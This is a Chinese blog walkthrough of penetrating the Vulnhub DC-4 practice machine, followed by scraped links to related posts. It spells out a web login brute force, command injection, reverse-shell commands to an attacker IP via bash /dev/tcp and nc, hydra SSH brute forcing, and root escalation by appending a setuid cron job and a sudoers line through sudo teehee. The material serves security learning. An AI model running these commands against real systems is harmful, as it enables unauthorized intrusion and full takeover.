Vulnhub DC-4靶机渗透
信息搜集
nmap -sP 192.168.146.0/24 #扫网段看看存活的主机,找到靶机
nmap -sS -Pn -A 192.168.146.141

可以看到开放了22和80端口,那么就可以猜测下,可能要爆破ssh密码或者得到账号密码直接ssh连上去。
这里先访问web页面,只有一个登陆页面,那就先扫描下目录。

看到访问command.php后又跳转回index.php,那么估计是要登陆才可以使用了。
getFlag
Web登陆密码爆破
这里没什么线索,但是登陆不用填验证码,就直接尝试爆破吧。


爆破出用户名*,密码happy。


也就是说这里只用密码happy就能登陆
命令执行之反弹shell
登陆进页面看到命令执行选项,这种情况估计就是参数传递命令,抓个包看看就行了。

可以看到确实是在radio参数传输命令,但是这样比较麻烦,尝试反弹shell。
bash -i >& /dev/tcp/192.168.146.131/4444 0>&1
这里要将&符号url编码下,以便区分参数间的&符号,当然可以直接全部url编码下。bash反弹失败

nc 192.168.31.131 4444 -t /bin/bash #nc反弹成功

根据之前的靶机,可以直接进入/home目录下看看有哪些用户

经检测,charles和sam目录无法ls出文件,而jim可以。


大概就是mbox我们没有读的权限,backups里面又一堆旧密码,test.sh内容如下

SSH密码爆破
信息搜集的时候我们就知道22端口是开着的,可以ssh上去。
所以这里的old-passwords可能是jim进行ssh的旧密码(现在的密码也可能在其中),那么就down下来用hydra爆破下。
hydra -l jim -P pwd.txt ssh://192.168.146.141

爆破出用户名是jim,密码是jibril04。直接连上去
提权
ssh jim@192.168.146.141
登陆进去看mbox,是一封邮件

既然有邮件,就想到去/var/mail目录下看看,看到邮件的具体内容。有Charles发来的密码。

密码是^xHhA&hvim0y,准备登陆charles了。在这之前,先看看jim有没有sudo权限,好的是没有的。
sudo -l

有密码了,直接ssh连上去,ls -al查看charles目录下的内容

看这三个文件没有发现什么有用的信息。那就也来看看有没有sudo权限。

可以发现,可以不用密码使用root权限操作/usr/bin/teehee,这个可执行文件,查看下帮助。

它可以将标准输入复制到每个文件,那么好办了,既然可以用root权限写文件?那岂不是直接快乐就完事了?
测试下:(成功写入文件)

想想几个重要的文件,无非就是定时任务文件(crontab),sudoers文件
先来玩玩定任务文件把。
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

再来写/etc/sudoers文件,先看看本地sudoers文件的语法。

仿造写一个 charles ALL=(ALL:ALL) ALL

可以看到现在charles可以以root用户身份运行所有命令

总结
总的来说这个靶机也并不难,学到的东西好像也并不是很多。。。
主要就学到了利用suid提权,这个利用这个root权限可以写文件。之后就是有写文件权限提权的思路了。
Vulnhub DC-4靶机渗透的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub DC-9靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
随机推荐
- mysql中实现更新数据+1,再次更新数据-1
$sql="update article set comment=comment^1 where a_id=2"; 这条语句你会发现当你更新comment字段时为1,再次更新时为0 ...
- BrowserSync(前端利器—保存代码后,自动刷新浏览器)
摘要 Browsersync能让浏览器实时.快速响应您的文件更改(HTML.JavaScript.CSS.Sass.Less.PHP.Python等)并自动刷新页面.更重要的是 Browsersync ...
- Linux系统之LNMP及nginx反向代理实现
1.编译安装LNMP,并安装wordpress 首先准备环境,编译安装LNMP可以是多台主机,也可以是单台主机,把nginx,mysql,php都集中安装在一个主机上:我这里以一台主机为例吧!! 一. ...
- Silence主题 美观清爽的cnblog第三方主题
为什么推荐? 才开通cnblog,但苦于官方主题都不是很好看,翻找Github的时候发现了这个项目Silence 这是预览地址 官方展示图片 安装中的坑 不显示公共模块.博文目录.博文签名.博文赞赏. ...
- [BUG]微信浏览器 iOS input 失焦页面不回弹
描述 ios13. ios中,input唤醒软键盘后,body整体会向上滚动,如果input框输入完成确定后,如果页面在最底部则不回弹,导致fixed布局实际效果上移,fixed布局内按钮点不到. 如 ...
- java-方法。(新手)
import java.util.ArrayList; //导入包.import java.util.Iterator;import java.util.LinkedList;import java. ...
- Deep Protein Methylation Profiling by Combined Chemical and Immunoaffinity Approaches Reveals Novel PRMT1 Targets (结合层析法和免疫沉淀法的蛋白甲基化的深度检测技术发现了PRMT1新的靶标蛋白)
题目:Deep Protein Methylation Profiling by Combined Chemical and Immunoaffinity Approaches Reveals Nov ...
- drf 简介以及部分源码分析
目录 复习 drf框架 全称:django-rest framework 知识点 接口 restful接口规范 基于restful规范的原生Django接口 主路由:url.py api组件的子路由: ...
- 【洛谷P1801】黑匣子——优先队列
题目链接 一道有点意思的题目 我们可以维护两个优先队列:pqmin和pqmax 其中 pqmin 是小根堆, pqmax 是大根堆 每次 add 一个数字,则将数字推入到 pqmin 中 每次 get ...
- 彻底明白equals和hashCode
equals和hashCode方法 equals 我们知道equals是用来比较两个对象是否相等的,比如我们常用的String.equals方法 @Test public void test() { ...